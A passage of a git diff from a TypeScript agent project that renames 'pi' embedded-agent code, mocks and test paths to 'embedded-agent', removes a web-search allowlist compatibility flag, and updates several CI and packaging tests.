- bundledAllowlistCompat: true, }); } @@ -148,7 +147,6 @@ export function listConfiguredWebSearchProviders(params?: { const config = resolveWebSearchRuntimeConfig({ config: params?.config }); return resolvePluginWebSearchProviders({ config, - bundledAllowlistCompat: true, }); } @@ -164,7 +162,6 @@ export function resolveWebSearchProviderId(params: { params.providers ?? resolvePluginWebSearchProviders({ config, - bundledAllowlistCompat: true, }), ); const raw = @@ -283,12 +280,10 @@ export function resolveWebSearchDefinition( options?.preferRuntimeProviders ? resolveRuntimeWebSearchProviders({ config, - bundledAllowlistCompat: true, ...loadScope, }) : resolvePluginWebSearchProviders({ config, - bundledAllowlistCompat: true, ...loadScope, }), ); @@ -352,12 +347,10 @@ function resolveWebSearchCandidates( options?.preferRuntimeProviders ? resolveRuntimeWebSearchProviders({ config, - bundledAllowlistCompat: true, ...loadScope, }) : resolvePluginWebSearchProviders({ config, - bundledAllowlistCompat: true, ...loadScope, }), ).filter(Boolean); diff --git a/test/helpers/agents/happy-path-prompt-snapshots.ts b/test/helpers/agents/happy-path-prompt-snapshots.ts index 9e623840ee4..1acac610bac 100644 --- a/test/helpers/agents/happy-path-prompt-snapshots.ts +++ b/test/helpers/agents/happy-path-prompt-snapshots.ts @@ -1,6 +1,6 @@ import fs from "node:fs"; import path from "node:path"; -import type { Api, Model } from "@earendil-works/pi-ai"; +import type { Api, Model } from "openclaw/plugin-sdk/llm"; import { resolveHeartbeatPromptForResponseTool } from "../../../src/auto-reply/heartbeat.js"; import { buildDirectChatContext, diff --git a/test/helpers/agents/pi-ai-stream-simple-mock.ts b/test/helpers/agents/llm-stream-simple-mock.ts similarity index 73% rename from test/helpers/agents/pi-ai-stream-simple-mock.ts rename to test/helpers/agents/llm-stream-simple-mock.ts index 070abc3d8cb..554e48a8bfd 100644 --- a/test/helpers/agents/pi-ai-stream-simple-mock.ts +++ b/test/helpers/agents/llm-stream-simple-mock.ts @@ -1,8 +1,8 @@ import { vi } from "vitest"; -type PiAiMockModule = Record; +type LlmMockModule = Record; -export function createPiAiStreamSimpleMock(): PiAiMockModule { +export function createLlmStreamSimpleMock(): LlmMockModule { return { streamSimple: vi.fn(() => ({ push: vi.fn(), diff --git a/test/helpers/agents/prompt-composition-scenarios.ts b/test/helpers/agents/prompt-composition-scenarios.ts index 4f506a51912..9ec5d1f84b8 100644 --- a/test/helpers/agents/prompt-composition-scenarios.ts +++ b/test/helpers/agents/prompt-composition-scenarios.ts @@ -7,10 +7,10 @@ import { buildBootstrapPromptWarning, } from "../../../src/agents/bootstrap-budget.js"; import { resolveBootstrapContextForRun } from "../../../src/agents/bootstrap-files.js"; -import { buildCurrentInboundPrompt } from "../../../src/agents/pi-embedded-runner/run/runtime-context-prompt.js"; -import { buildEmbeddedSystemPrompt } from "../../../src/agents/pi-embedded-runner/system-prompt.js"; +import { buildCurrentInboundPrompt } from "../../../src/agents/embedded-agent-runner/run/runtime-context-prompt.js"; +import { buildEmbeddedSystemPrompt } from "../../../src/agents/embedded-agent-runner/system-prompt.js"; import { buildAgentSystemPrompt } from "../../../src/agents/system-prompt.js"; -import { createStubTool } from "../../../src/agents/test-helpers/pi-tool-stubs.js"; +import { createStubTool } from "../../../src/agents/test-helpers/agent-tool-stubs.js"; import { buildDirectChatContext, buildGroupChatContext, diff --git a/test/helpers/auth-wizard.ts b/test/helpers/auth-wizard.ts index 9b58b4f6d3a..f1fac3bb231 100644 --- a/test/helpers/auth-wizard.ts +++ b/test/helpers/auth-wizard.ts @@ -47,7 +47,6 @@ export async function setupAuthTestEnv( const agentDir = path.join(stateDir, options?.agentSubdir ?? "agent"); process.env.OPENCLAW_STATE_DIR = stateDir; process.env.OPENCLAW_AGENT_DIR = agentDir; - process.env.PI_CODING_AGENT_DIR = agentDir; await fs.mkdir(agentDir, { recursive: true }); return { stateDir, agentDir }; } diff --git a/test/helpers/auto-reply/trigger-handling-test-harness.ts b/test/helpers/auto-reply/trigger-handling-test-harness.ts index 2aa3d65d2e6..5fc75593101 100644 --- a/test/helpers/auto-reply/trigger-handling-test-harness.ts +++ b/test/helpers/auto-reply/trigger-handling-test-harness.ts @@ -4,7 +4,7 @@ import os from "node:os"; import { join } from "node:path"; import { afterAll, afterEach, beforeAll, expect, vi } from "vitest"; import { clearRuntimeAuthProfileStoreSnapshots } from "../../../src/agents/auth-profiles.js"; -import type { EmbeddedPiQueueMessageOutcome } from "../../../src/agents/pi-embedded-runner/runs.js"; +import type { EmbeddedAgentQueueMessageOutcome } from "../../../src/agents/embedded-agent-runner/runs.js"; import { withFastReplyConfig } from "../../../src/auto-reply/reply/get-reply-fast-path.js"; import type { OpenClawConfig } from "../../../src/config/types.openclaw.js"; @@ -21,12 +21,12 @@ function getSharedMocks(key: string, create: () => T): T { return store[symbol]; } -const piEmbeddedMocks = getSharedMocks("openclaw.trigger-handling.pi-embedded-mocks", () => ({ - abortEmbeddedPiRun: vi.fn().mockReturnValue(false), - compactEmbeddedPiSession: vi.fn(), - runEmbeddedPiAgent: vi.fn(), - queueEmbeddedPiMessageWithOutcome: vi.fn( - (sessionId: string, _text?: string, _options?: unknown): EmbeddedPiQueueMessageOutcome => ({ +const embeddedAgentMocks = getSharedMocks("openclaw.trigger-handling.embedded-agent-mocks", () => ({ + abortEmbeddedAgentRun: vi.fn().mockReturnValue(false), + compactEmbeddedAgentSession: vi.fn(), + runEmbeddedAgent: vi.fn(), + queueEmbeddedAgentMessageWithOutcome: vi.fn( + (sessionId: string, _text?: string, _options?: unknown): EmbeddedAgentQueueMessageOutcome => ({ queued: false, sessionId, reason: "not_streaming", @@ -34,50 +34,52 @@ const piEmbeddedMocks = getSharedMocks("openclaw.trigger-handling.pi-embedded-mo }), ), resolveActiveEmbeddedRunSessionId: vi.fn().mockReturnValue(undefined), - isEmbeddedPiRunActive: vi.fn().mockReturnValue(false), - isEmbeddedPiRunStreaming: vi.fn().mockReturnValue(false), + isEmbeddedAgentRunActive: vi.fn().mockReturnValue(false), + isEmbeddedAgentRunStreaming: vi.fn().mockReturnValue(false), })); -export function getAbortEmbeddedPiRunMock(): AnyMock { - return piEmbeddedMocks.abortEmbeddedPiRun; +export function getAbortEmbeddedAgentRunMock(): AnyMock { + return embeddedAgentMocks.abortEmbeddedAgentRun; } -export function getCompactEmbeddedPiSessionMock(): AnyMock { - return piEmbeddedMocks.compactEmbeddedPiSession; +export function getCompactEmbeddedAgentSessionMock(): AnyMock { + return embeddedAgentMocks.compactEmbeddedAgentSession; } -export function getRunEmbeddedPiAgentMock(): AnyMock { - return piEmbeddedMocks.runEmbeddedPiAgent; +export function getRunEmbeddedAgentMock(): AnyMock { + return embeddedAgentMocks.runEmbeddedAgent; } -const installPiEmbeddedMock = () => - vi.doMock("../../../src/agents/pi-embedded.js", () => ({ - abortEmbeddedPiRun: (...args: unknown[]) => piEmbeddedMocks.abortEmbeddedPiRun(...args), - compactEmbeddedPiSession: (...args: unknown[]) => - piEmbeddedMocks.compactEmbeddedPiSession(...args), - runEmbeddedPiAgent: (...args: unknown[]) => piEmbeddedMocks.runEmbeddedPiAgent(...args), - queueEmbeddedPiMessageWithOutcome: (sessionId: string, text: string, options?: unknown) => - piEmbeddedMocks.queueEmbeddedPiMessageWithOutcome(sessionId, text, options), +const installEmbeddedAgentMock = () => + vi.doMock("../../../src/agents/embedded-agent.js", () => ({ + abortEmbeddedAgentRun: (...args: unknown[]) => + embeddedAgentMocks.abortEmbeddedAgentRun(...args), + compactEmbeddedAgentSession: (...args: unknown[]) => + embeddedAgentMocks.compactEmbeddedAgentSession(...args), + runEmbeddedAgent: (...args: unknown[]) => embeddedAgentMocks.runEmbeddedAgent(...args), + queueEmbeddedAgentMessageWithOutcome: (sessionId: string, text: string, options?: unknown) => + embeddedAgentMocks.queueEmbeddedAgentMessageWithOutcome(sessionId, text, options), resolveEmbeddedSessionLane: (key: string) => `session:${key.trim() || "main"}`, resolveActiveEmbeddedRunSessionId: (...args: unknown[]) => - piEmbeddedMocks.resolveActiveEmbeddedRunSessionId(...args), - isEmbeddedPiRunActive: (...args: unknown[]) => piEmbeddedMocks.isEmbeddedPiRunActive(...args), - isEmbeddedPiRunStreaming: (...args: unknown[]) => - piEmbeddedMocks.isEmbeddedPiRunStreaming(...args), + embeddedAgentMocks.resolveActiveEmbeddedRunSessionId(...args), + isEmbeddedAgentRunActive: (...args: unknown[]) => + embeddedAgentMocks.isEmbeddedAgentRunActive(...args), + isEmbeddedAgentRunStreaming: (...args: unknown[]) => + embeddedAgentMocks.isEmbeddedAgentRunStreaming(...args), })); -installPiEmbeddedMock(); +installEmbeddedAgentMock(); -vi.doMock("../../../src/agents/pi-embedded-runner/runs.js", () => ({ - abortEmbeddedPiRun: (...args: unknown[]) => piEmbeddedMocks.abortEmbeddedPiRun(...args), - formatEmbeddedPiQueueFailureSummary: (outcome: { reason?: string; sessionId?: string }) => +vi.doMock("../../../src/agents/embedded-agent-runner/runs.js", () => ({ + abortEmbeddedAgentRun: (...args: unknown[]) => embeddedAgentMocks.abortEmbeddedAgentRun(...args), + formatEmbeddedAgentQueueFailureSummary: (outcome: { reason?: string; sessionId?: string }) => outcome.reason && outcome.sessionId ? `queue_message_failed reason=${outcome.reason} sessionId=${outcome.sessionId} gatewayHealth=live` : undefined, - queueEmbeddedPiMessageWithOutcome: (sessionId: string, text: string, options?: unknown) => - piEmbeddedMocks.queueEmbeddedPiMessageWithOutcome(sessionId, text, options), + queueEmbeddedAgentMessageWithOutcome: (sessionId: string, text: string, options?: unknown) => + embeddedAgentMocks.queueEmbeddedAgentMessageWithOutcome(sessionId, text, options), resolveActiveEmbeddedRunSessionId: (...args: unknown[]) => - piEmbeddedMocks.resolveActiveEmbeddedRunSessionId(...args), + embeddedAgentMocks.resolveActiveEmbeddedRunSessionId(...args), })); const providerUsageMocks = vi.hoisted(() => ({ @@ -264,10 +266,10 @@ export async function withTempHome(fn: (home: string) => Promise): Promise try { // Hard reset shared mocks so non-isolated runs don't inherit prior behavior. - piEmbeddedMocks.runEmbeddedPiAgent.mockReset(); - piEmbeddedMocks.abortEmbeddedPiRun.mockReset().mockReturnValue(false); - piEmbeddedMocks.compactEmbeddedPiSession.mockReset(); - piEmbeddedMocks.queueEmbeddedPiMessageWithOutcome + embeddedAgentMocks.runEmbeddedAgent.mockReset(); + embeddedAgentMocks.abortEmbeddedAgentRun.mockReset().mockReturnValue(false); + embeddedAgentMocks.compactEmbeddedAgentSession.mockReset(); + embeddedAgentMocks.queueEmbeddedAgentMessageWithOutcome .mockReset() .mockImplementation((sessionId: string) => ({ queued: false, @@ -275,8 +277,8 @@ export async function withTempHome(fn: (home: string) => Promise): Promise reason: "not_streaming", gatewayHealth: "live", })); - piEmbeddedMocks.isEmbeddedPiRunActive.mockReset().mockReturnValue(false); - piEmbeddedMocks.isEmbeddedPiRunStreaming.mockReset().mockReturnValue(false); + embeddedAgentMocks.isEmbeddedAgentRunActive.mockReset().mockReturnValue(false); + embeddedAgentMocks.isEmbeddedAgentRunStreaming.mockReset().mockReturnValue(false); modelFallbackMocks.runWithModelFallback.mockClear(); return await fn(home); } finally { @@ -341,8 +343,8 @@ export async function expectInlineCommandHandledAndStripped(params: { blockReplyContains: string; requestOverrides?: Record; }) { - const runEmbeddedPiAgentMock = mockRunEmbeddedPiAgentOk(); - runEmbeddedPiAgentMock.mockClear(); + const runEmbeddedAgentMock = mockRunEmbeddedAgentOk(); + runEmbeddedAgentMock.mockClear(); const { blockReplies, handlers } = createBlockReplyCollector(); const res = await params.getReplyFromConfig( { @@ -359,8 +361,8 @@ export async function expectInlineCommandHandledAndStripped(params: { const text = Array.isArray(res) ? res[0]?.text : res?.text; expect(blockReplies.length).toBe(1); expect(blockReplies[0]?.text).toContain(params.blockReplyContains); - expect(runEmbeddedPiAgentMock).toHaveBeenCalled(); - const lastCall = runEmbeddedPiAgentMock.mock.calls[runEmbeddedPiAgentMock.mock.calls.length - 1]; + expect(runEmbeddedAgentMock).toHaveBeenCalled(); + const lastCall = runEmbeddedAgentMock.mock.calls[runEmbeddedAgentMock.mock.calls.length - 1]; const prompt = lastCall?.[0]?.prompt ?? ""; expect(prompt).not.toContain(params.stripToken); expect(text).toBe("ok"); @@ -371,9 +373,9 @@ export async function expectBareNewOrResetAcknowledged(params: { body: "/new" | "/reset"; getReplyFromConfig: typeof import("../../../src/auto-reply/reply.js").getReplyFromConfig; }) { - const runEmbeddedPiAgentMock = getRunEmbeddedPiAgentMock(); - runEmbeddedPiAgentMock.mockClear(); - runEmbeddedPiAgentMock.mockResolvedValue({ + const runEmbeddedAgentMock = getRunEmbeddedAgentMock(); + runEmbeddedAgentMock.mockClear(); + runEmbeddedAgentMock.mockResolvedValue({ payloads: [{ text: "hello" }], meta: { durationMs: 1, @@ -393,7 +395,7 @@ export async function expectBareNewOrResetAcknowledged(params: { ); const text = Array.isArray(res) ? res[0]?.text : res?.text; expect(text).toBe(params.body === "/reset" ? "✅ Session reset." : "✅ New session started."); - expect(runEmbeddedPiAgentMock).not.toHaveBeenCalled(); + expect(runEmbeddedAgentMock).not.toHaveBeenCalled(); } export function installTriggerHandlingE2eTestHooks() { @@ -403,16 +405,16 @@ export function installTriggerHandlingE2eTestHooks() { }); } -export function mockRunEmbeddedPiAgentOk(text = "ok"): AnyMock { - const runEmbeddedPiAgentMock = getRunEmbeddedPiAgentMock(); - runEmbeddedPiAgentMock.mockResolvedValue({ +export function mockRunEmbeddedAgentOk(text = "ok"): AnyMock { + const runEmbeddedAgentMock = getRunEmbeddedAgentMock(); + runEmbeddedAgentMock.mockResolvedValue({ payloads: [{ text }], meta: { durationMs: 1, agentMeta: { sessionId: "s", provider: "p", model: "m" }, }, }); - return runEmbeddedPiAgentMock; + return runEmbeddedAgentMock; } export function createBlockReplyCollector() { diff --git a/test/helpers/config/heartbeat-config-honor.inventory.ts b/test/helpers/config/heartbeat-config-honor.inventory.ts index c8eef3b1ce5..3e5c5f51c1b 100644 --- a/test/helpers/config/heartbeat-config-honor.inventory.ts +++ b/test/helpers/config/heartbeat-config-honor.inventory.ts @@ -49,7 +49,7 @@ export const HEARTBEAT_CONFIG_HONOR_INVENTORY: ConfigHonorInventoryRow[] = [ mergePaths: ["src/agents/heartbeat-system-prompt.ts"], consumerPaths: [ "src/agents/heartbeat-system-prompt.ts", - "src/agents/pi-embedded-runner/run/attempt.prompt-helpers.ts", + "src/agents/embedded-agent-runner/run/attempt.prompt-helpers.ts", ], reloadPaths: ["src/gateway/config-reload-plan.ts"], testPaths: ["src/agents/heartbeat-system-prompt.test.ts"], diff --git a/test/image-generation.runtime.live.test.ts b/test/image-generation.runtime.live.test.ts index cb5b59c30a5..76d31a533ab 100644 --- a/test/image-generation.runtime.live.test.ts +++ b/test/image-generation.runtime.live.test.ts @@ -4,10 +4,10 @@ import { } from "openclaw/plugin-sdk/plugin-test-runtime"; import { describe, expect, it } from "vitest"; import { resolveDefaultAgentDir } from "../src/agents/agent-scope.js"; +import { isBillingErrorMessage } from "../src/agents/embedded-agent-helpers/failover-matches.js"; import { collectProviderApiKeys } from "../src/agents/live-auth-keys.js"; import { isLiveProfileKeyModeEnabled, isLiveTestEnabled } from "../src/agents/live-test-helpers.js"; import { resolveApiKeyForProvider } from "../src/agents/model-auth.js"; -import { isBillingErrorMessage } from "../src/agents/pi-embedded-helpers/failover-matches.js"; import { loadConfig, type OpenClawConfig } from "../src/config/config.js"; import { DEFAULT_LIVE_IMAGE_MODELS, diff --git a/test/non-isolated-runner.ts b/test/non-isolated-runner.ts index 89ef4d259ac..675ce56472f 100644 --- a/test/non-isolated-runner.ts +++ b/test/non-isolated-runner.ts @@ -53,7 +53,6 @@ function restoreSharedTestHomeAfterEnvUnstub(testHomeRaw: string | undefined): v delete process.env.OPENCLAW_CONFIG_PATH; delete process.env.OPENCLAW_STATE_DIR; delete process.env.OPENCLAW_AGENT_DIR; - delete process.env.PI_CODING_AGENT_DIR; process.env.XDG_CONFIG_HOME = path.join(testHome, ".config"); process.env.XDG_DATA_HOME = path.join(testHome, ".local", "share"); process.env.XDG_STATE_HOME = path.join(testHome, ".local", "state"); diff --git a/test/package-manager-config.test.ts b/test/package-manager-config.test.ts index 149f908f3ca..d0faa00adc1 100644 --- a/test/package-manager-config.test.ts +++ b/test/package-manager-config.test.ts @@ -17,6 +17,7 @@ type PnpmBuildConfig = { }; type RootPackageJson = { + files?: string[]; pnpm?: PnpmBuildConfig; }; @@ -63,18 +64,19 @@ describe("package manager build policy", () => { expect(workspace.onlyBuiltDependencies).toBeUndefined(); }); + it("includes third-party notices in the published root package", () => { + const packageJson = readJson("package.json") as RootPackageJson; + + expect(packageJson.files).toContain("THIRD_PARTY_NOTICES.md"); + }); + it("keeps npm shrinkwrap aligned with workspace overrides", () => { const workspace = parse( fs.readFileSync("pnpm-workspace.yaml", "utf8"), ) as WorkspaceDependencyPolicy; const shrinkwrap = readJson("npm-shrinkwrap.json") as NpmShrinkwrap; - for (const packageName of [ - "@anthropic-ai/sdk", - "hono", - "@aws-sdk/client-bedrock-runtime", - "protobufjs", - ]) { + for (const packageName of ["@anthropic-ai/sdk", "hono", "protobufjs"]) { expect(shrinkwrap.packages?.[`node_modules/${packageName}`]?.version).toBe( String(workspace.overrides?.[packageName]), ); diff --git a/test/scripts/ci-node-test-plan.test.ts b/test/scripts/ci-node-test-plan.test.ts index 95d5d3bcc16..9396c0113eb 100644 --- a/test/scripts/ci-node-test-plan.test.ts +++ b/test/scripts/ci-node-test-plan.test.ts @@ -353,7 +353,7 @@ describe("scripts/lib/ci-node-test-plan.mjs", () => { shardName: "agentic-agents", configs: [ "test/vitest/vitest.agents-core.config.ts", - "test/vitest/vitest.agents-pi-embedded.config.ts", + "test/vitest/vitest.agents-embedded-agent.config.ts", "test/vitest/vitest.agents-support.config.ts", "test/vitest/vitest.agents-tools.config.ts", ], diff --git a/test/scripts/control-ui-i18n.test.ts b/test/scripts/control-ui-i18n.test.ts deleted file mode 100644 index 37ab09d495f..00000000000 --- a/test/scripts/control-ui-i18n.test.ts +++ /dev/null @@ -1,98 +0,0 @@ -import { win32 } from "node:path"; -import { describe, expect, it } from "vitest"; -import { - resolveControlUiI18nNpmInstallCommand, - resolveControlUiI18nPnpmCommand, - resolveControlUiI18nProcessCommand, - resolvePiShimNodeCommand, -} from "../../scripts/control-ui-i18n.ts"; - -describe("control-ui-i18n command resolution", () => { - const comSpec = String.raw`C:\Windows\System32\cmd.exe`; - - it("resolves Windows pi.cmd shims to the node CLI before multiline RPC prompts", () => { - const piCmdPath = String.raw`C:\Users\runner\AppData\Roaming\npm\pi.cmd`; - const cliPath = win32.join( - win32.dirname(piCmdPath), - "node_modules", - "@earendil-works", - "pi-coding-agent", - "dist", - "cli.js", - ); - const command = resolvePiShimNodeCommand(piCmdPath, { - existsSync: (candidate) => candidate === cliPath, - platform: "win32", - }); - - expect(command).toEqual({ - args: [cliPath], - executable: "node", - }); - if (!command) { - throw new Error("expected Windows Pi shim to resolve to a node command"); - } - expect( - resolveControlUiI18nProcessCommand( - command.executable, - [...command.args, "--system-prompt", "line one\nline two"], - { - comSpec, - platform: "win32", - }, - ), - ).toEqual({ - args: [cliPath, "--system-prompt", "line one\nline two"], - executable: "node", - shell: false, - }); - }); - - it("routes Windows Pi package installs through toolchain-local npm.cmd", () => { - const nodeExecPath = String.raw`C:\Program Files\nodejs\node.exe`; - const npmCmdPath = win32.resolve(win32.dirname(nodeExecPath), "npm.cmd"); - - expect( - resolveControlUiI18nNpmInstallCommand("@pi/pai@1.2.3", { - comSpec, - env: { ComSpec: comSpec }, - execPath: nodeExecPath, - existsSync: (candidate) => candidate === npmCmdPath, - platform: "win32", - }), - ).toEqual({ - args: [ - "/d", - "/s", - "/c", - String.raw`""C:\Program Files\nodejs\npm.cmd" install --silent --no-audit --no-fund @pi/pai@1.2.3"`, - ], - executable: comSpec, - shell: false, - windowsVerbatimArguments: true, - }); - }); - - it("routes Windows formatting through the active pnpm.cmd runner", () => { - expect( - resolveControlUiI18nPnpmCommand( - ["exec", "oxfmt", "--stdin-filepath", "ui/src/i18n/generated.ts"], - { - comSpec, - npmExecPath: String.raw`C:\Program Files\nodejs\pnpm.cmd`, - platform: "win32", - }, - ), - ).toEqual({ - args: [ - "/d", - "/s", - "/c", - String.raw`""C:\Program Files\nodejs\pnpm.cmd" exec oxfmt --stdin-filepath ui/src/i18n/generated.ts"`, - ], - executable: comSpec, - shell: false, - windowsVerbatimArguments: true, - }); - }); -}); diff --git a/test/scripts/docker-e2e-plan.test.ts b/test/scripts/docker-e2e-plan.test.ts index 7940c2c6ae7..07893e48907 100644 --- a/test/scripts/docker-e2e-plan.test.ts +++ b/test/scripts/docker-e2e-plan.test.ts @@ -851,7 +851,7 @@ describe("scripts/lib/docker-e2e-plan", () => { "openai-web-search-minimal", "mcp-channels", "cron-mcp-cleanup", - "pi-bundle-mcp-tools", + "agent-bundle-mcp-tools", "crestodian-first-run", "crestodian-planner", "crestodian-rescue", @@ -878,7 +878,7 @@ describe("scripts/lib/docker-e2e-plan", () => { { name: "openai-web-search-minimal", stateScenario: "empty" }, { name: "mcp-channels", stateScenario: "empty" }, { name: "cron-mcp-cleanup", stateScenario: "empty" }, - { name: "pi-bundle-mcp-tools", stateScenario: "empty" }, + { name: "agent-bundle-mcp-tools", stateScenario: "empty" }, { name: "crestodian-first-run", stateScenario: "empty" }, { name: "crestodian-planner", stateScenario: "empty" }, { name: "crestodian-rescue", stateScenario: "empty" }, diff --git a/test/scripts/generate-npm-shrinkwrap.test.ts b/test/scripts/generate-npm-shrinkwrap.test.ts index 3db4352f398..299873ea6f2 100644 --- a/test/scripts/generate-npm-shrinkwrap.test.ts +++ b/test/scripts/generate-npm-shrinkwrap.test.ts @@ -58,17 +58,15 @@ describe("generate-npm-shrinkwrap", () => { it("parses nested scoped package paths", () => { expect( - parseLockPackagePath( - "node_modules/@earendil-works/pi-coding-agent/node_modules/@anthropic-ai/sdk", - ), + parseLockPackagePath("node_modules/@openclaw/codex/node_modules/@anthropic-ai/sdk"), ).toEqual([ { - name: "@earendil-works/pi-coding-agent", - path: "node_modules/@earendil-works/pi-coding-agent", + name: "@openclaw/codex", + path: "node_modules/@openclaw/codex", }, { name: "@anthropic-ai/sdk", - path: "node_modules/@earendil-works/pi-coding-agent/node_modules/@anthropic-ai/sdk", + path: "node_modules/@openclaw/codex/node_modules/@anthropic-ai/sdk", }, ]); }); @@ -93,20 +91,19 @@ describe("generate-npm-shrinkwrap", () => { "lru-cache": "^11.5.0", }, }, - "node_modules/@earendil-works/pi-coding-agent": { + "node_modules/@openclaw/codex": { version: "0.75.4", hasShrinkwrap: true, }, - "node_modules/@earendil-works/pi-coding-agent/node_modules/protobufjs": { + "node_modules/@openclaw/codex/node_modules/protobufjs": { version: "7.5.9", }, - "node_modules/@earendil-works/pi-coding-agent/node_modules/fetch-blob": { + "node_modules/@openclaw/codex/node_modules/fetch-blob": { version: "4.0.0", }, - "node_modules/@earendil-works/pi-coding-agent/node_modules/fetch-blob/node_modules/node-domexception": - { - version: "1.0.0", - }, + "node_modules/@openclaw/codex/node_modules/fetch-blob/node_modules/node-domexception": { + version: "1.0.0", + }, }, }; const overrideRules = exactOverrideRulesFromOverrides({ @@ -116,13 +113,11 @@ describe("generate-npm-shrinkwrap", () => { expect(collectOverrideViolations(lockfile, overrideRules)).toHaveLength(2); expect(disableShrinkwrappedOverrideConflictSources(lockfile, overrideRules)).toEqual([ - "node_modules/@earendil-works/pi-coding-agent", + "node_modules/@openclaw/codex", ]); - expect(lockfile.packages["node_modules/@earendil-works/pi-coding-agent"]).not.toHaveProperty( - "hasShrinkwrap", - ); + expect(lockfile.packages["node_modules/@openclaw/codex"]).not.toHaveProperty("hasShrinkwrap"); expect( - lockfile.packages["node_modules/@earendil-works/pi-coding-agent/node_modules/protobufjs"], + lockfile.packages["node_modules/@openclaw/codex/node_modules/protobufjs"], ).toBeUndefined(); }); diff --git a/test/scripts/lint-suppressions.test.ts b/test/scripts/lint-suppressions.test.ts index e5871311f8f..1121e0313ef 100644 --- a/test/scripts/lint-suppressions.test.ts +++ b/test/scripts/lint-suppressions.test.ts @@ -132,7 +132,7 @@ describe("production lint suppressions", () => { "scripts/lib/plugin-npm-release.ts|typescript/no-unnecessary-type-parameters|1", "src/agents/agent-scope.ts|no-control-regex|1", "src/agents/code-mode.worker.ts|unicorn/require-post-message-target-origin|1", - "src/agents/pi-embedded-runner/run/images.ts|no-control-regex|1", + "src/agents/embedded-agent-runner/run/images.ts|no-control-regex|1", "src/agents/subagent-attachments.ts|no-control-regex|1", "src/agents/subagent-spawn.ts|no-control-regex|1", "src/channels/plugins/channel-runtime-surface.types.ts|typescript/no-unnecessary-type-parameters|1", diff --git a/test/scripts/live-docker-auth.test.ts b/test/scripts/live-docker-auth.test.ts index 7db40bce185..c68b1ab4a77 100644 --- a/test/scripts/live-docker-auth.test.ts +++ b/test/scripts/live-docker-auth.test.ts @@ -1,4 +1,4 @@ -import { execFileSync } from "node:child_process"; +import { spawnSync } from "node:child_process"; import { chmodSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; import path from "node:path"; @@ -17,46 +17,30 @@ function writeExecutable(filePath: string, contents: string) { chmodSync(filePath, 0o755); } -function resolveDockerRunArgs(pathPrefix: string) { +function runDockerRunArgs(pathPrefix: string) { const script = [ "source scripts/lib/live-docker-auth.sh", "ARGS=()", - "openclaw_live_init_docker_run_args ARGS 42s", + "openclaw_live_init_docker_run_args ARGS 42s || exit $?", "printf '%s\\n' \"${ARGS[@]}\"", ].join("\n"); - const output = execFileSync("/bin/bash", ["-c", script], { + return spawnSync("/bin/bash", ["-c", script], { cwd: process.cwd(), encoding: "utf8", env: { ...process.env, PATH: pathPrefix, }, - }).trimEnd(); - return output ? output.split("\n") : []; + }); } -function failDockerRunArgs(pathPrefix: string) { - const script = [ - "source scripts/lib/live-docker-auth.sh", - "ARGS=()", - "openclaw_live_init_docker_run_args ARGS 42s", - ].join("\n"); - - try { - execFileSync("/bin/bash", ["-c", script], { - cwd: process.cwd(), - encoding: "utf8", - env: { - ...process.env, - PATH: pathPrefix, - }, - stdio: ["ignore", "pipe", "pipe"], - }); - } catch (error) { - return error as { status?: number; stderr?: Buffer | string }; +function resolveDockerRunArgs(pathPrefix: string) { + const result = runDockerRunArgs(pathPrefix); + if (result.status !== 0) { + throw new Error(result.stderr || result.stdout); } - throw new Error("Expected live Docker run arg initialization to fail"); + return result.stdout.trimEnd().split("\n"); } afterEach(() => { @@ -129,12 +113,12 @@ describe("scripts/lib/live-docker-auth.sh", () => { ]); }); - it("fails fast when timeout is unavailable", () => { + it("fails fast when no timeout wrapper is available", () => { const binDir = makeTempBin("openclaw-live-docker-auth-no-timeout-"); - const error = failDockerRunArgs(binDir); - expect(error.status).toBe(127); - expect(String(error.stderr)).toContain( + const result = runDockerRunArgs(binDir); + expect(result.status).toBe(127); + expect(result.stderr).toContain( "timeout command not found; cannot bound live Docker run after 42s", ); }); diff --git a/test/scripts/openclaw-cross-os-release-checks.test.ts b/test/scripts/openclaw-cross-os-release-checks.test.ts index a9fb6925680..9d0d8c32e2d 100644 --- a/test/scripts/openclaw-cross-os-release-checks.test.ts +++ b/test/scripts/openclaw-cross-os-release-checks.test.ts @@ -394,7 +394,7 @@ describe("scripts/openclaw-cross-os-release-checks", () => { expect(CROSS_OS_AGENT_TURN_TIMEOUT_SECONDS).toBeGreaterThanOrEqual(600); expect(source).toContain("buildReleaseProviderConfigOverride"); expect(source).toContain("models: []"); - expect(source).toContain('agentRuntime: { id: "pi" }'); + expect(source).toContain('agentRuntime: { id: "openclaw" }'); expect(source).toContain('"--merge"'); expect(source).toContain(providerOverride); expect(source).not.toContain("models.providers.${params.providerConfig.extensionId}.baseUrl"); diff --git a/test/scripts/package-acceptance-workflow.test.ts b/test/scripts/package-acceptance-workflow.test.ts index ee227fb554a..b59ffb57171 100644 --- a/test/scripts/package-acceptance-workflow.test.ts +++ b/test/scripts/package-acceptance-workflow.test.ts @@ -581,6 +581,9 @@ describe("package artifact reuse", () => { expect(workflow).toMatch( /suite_id: native-live-src-gateway-profiles-openai[\s\S]*?timeout_minutes: 60[\s\S]*?profiles: beta minimum stable full/u, ); + expect(workflow).toContain( + "command: OPENCLAW_LIVE_GATEWAY_PROVIDERS=openai OPENCLAW_LIVE_GATEWAY_MODELS=openai/gpt-5.5", + ); expect(workflow).toMatch( /suite_id: native-live-src-gateway-profiles-fireworks[\s\S]*?timeout_minutes: 30[\s\S]*?advisory: true/u, ); @@ -597,6 +600,10 @@ describe("package artifact reuse", () => { expect(workflow).toContain( "OPENCLAW_LIVE_GATEWAY_THINKING=low OPENCLAW_LIVE_GATEWAY_PROVIDERS=openai OPENCLAW_LIVE_GATEWAY_MODELS=openai/gpt-5.5 OPENCLAW_LIVE_GATEWAY_MAX_MODELS=1 OPENCLAW_LIVE_GATEWAY_STEP_TIMEOUT_MS=90000 OPENCLAW_LIVE_GATEWAY_MODEL_TIMEOUT_MS=600000", ); + expect(workflow).toContain( + "OPENCLAW_LIVE_GATEWAY_MODELS=anthropic/claude-sonnet-4-6,anthropic/claude-haiku-4-5 OPENCLAW_LIVE_GATEWAY_MAX_MODELS=2", + ); + expect(workflow).toContain("OPENCLAW_LIVE_GATEWAY_MODEL_TIMEOUT_MS=600000"); expect(workflow).toContain("timeout --foreground --kill-after=30s 35m"); expect(workflow).toMatch(/suite_id: live-gateway-docker[\s\S]*?timeout_minutes: 40/u); expect(workflow).toContain("suite_id: native-live-extensions-a-k"); @@ -1210,6 +1217,7 @@ describe("package artifact reuse", () => { expect(workflow).toContain("### Slowest jobs: ${label}"); expect(workflow).toContain("### Longest queues: 